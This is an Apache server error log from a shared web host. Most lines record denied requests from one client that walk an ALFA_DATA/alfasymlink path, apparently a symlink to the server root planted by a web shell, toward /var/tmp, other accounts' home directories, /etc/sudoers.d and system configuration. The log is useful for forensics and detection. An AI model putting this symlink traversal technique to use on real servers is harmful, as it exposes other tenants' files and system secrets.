[Sun Oct 25 14:24:01.180486 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:24:01.180502 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:24:01.180515 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:24:01.180527 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:24:01.180547 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:24:01.180577 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:24:01.180605 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:24:01.180658 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:24:01.180687 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:24:01.180717 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:24:01.180745 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:24:01.180760 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:24:01.180803 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:24:01.180818 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:24:01.180832 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:24:01.180845 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:24:01.180864 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:24:01.180878 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:24:01.180909 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:24:01.180983 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:24:01.181026 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:24:01.181065 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:24:01.181082 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:24:01.181103 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:24:01.181117 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:24:01.181129 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:24:01.181141 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:24:01.181161 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:24:01.181192 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:24:01.181208 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:24:01.181249 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:24:01.181279 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:24:01.181296 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:24:01.181334 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:24:01.181372 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:24:01.181404 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:24:01.181434 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:24:01.181450 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:24:01.181471 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:24:01.181514 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:24:01.181529 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:24:01.181542 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:24:01.181560 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:24:01.181594 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:24:01.181647 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:24:01.181664 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:24:01.181679 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:24:01.181701 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:24:01.181737 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:24:01.181768 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:24:01.181789 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:24:01.181802 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:24:01.181820 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:24:01.181849 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:24:01.181865 2026] [core:crit] [pid 2875807:tid 2875807] (13)Permission denied: [client 76.135.135.39:58068] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:24:06.289591 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 3.217.171.106:57168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:10.188697 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 44.223.193.255:50790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:10.928873 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:63401] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:24:13.047216 2026] [authz_core:error] [pid 2875825:tid 2875825] [client 76.135.135.39:54268] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/error_log
[Sun Oct 25 14:24:19.401419 2026] [authz_core:error] [pid 2875825:tid 2875825] [client 18.205.245.90:26060] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:24:19.621230 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:49153] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/modsec_vendor_configs/' is executable
[Sun Oct 25 14:24:26.254958 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 52.6.232.201:27592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:26.843955 2026] [core:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 85.208.96.201:15350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/free_calls
[Sun Oct 25 14:24:30.153167 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 107.20.255.194:35813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:35.437510 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 85.208.96.199:39926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cache_dma
[Sun Oct 25 14:24:37.719411 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 185.191.171.10:29892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:42.245634 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 100.28.57.133:45931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:50.265301 2026] [ssl:error] [pid 2878642:tid 2878642] (70014)End of file found: [client 35.174.141.243:40044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:51.104970 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:65049] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Sun Oct 25 14:24:51.105041 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:65049] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Sun Oct 25 14:24:51.577922 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sun Oct 25 14:24:51.578263 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sun Oct 25 14:24:51.578453 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sun Oct 25 14:24:51.580596 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sun Oct 25 14:24:51.580813 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
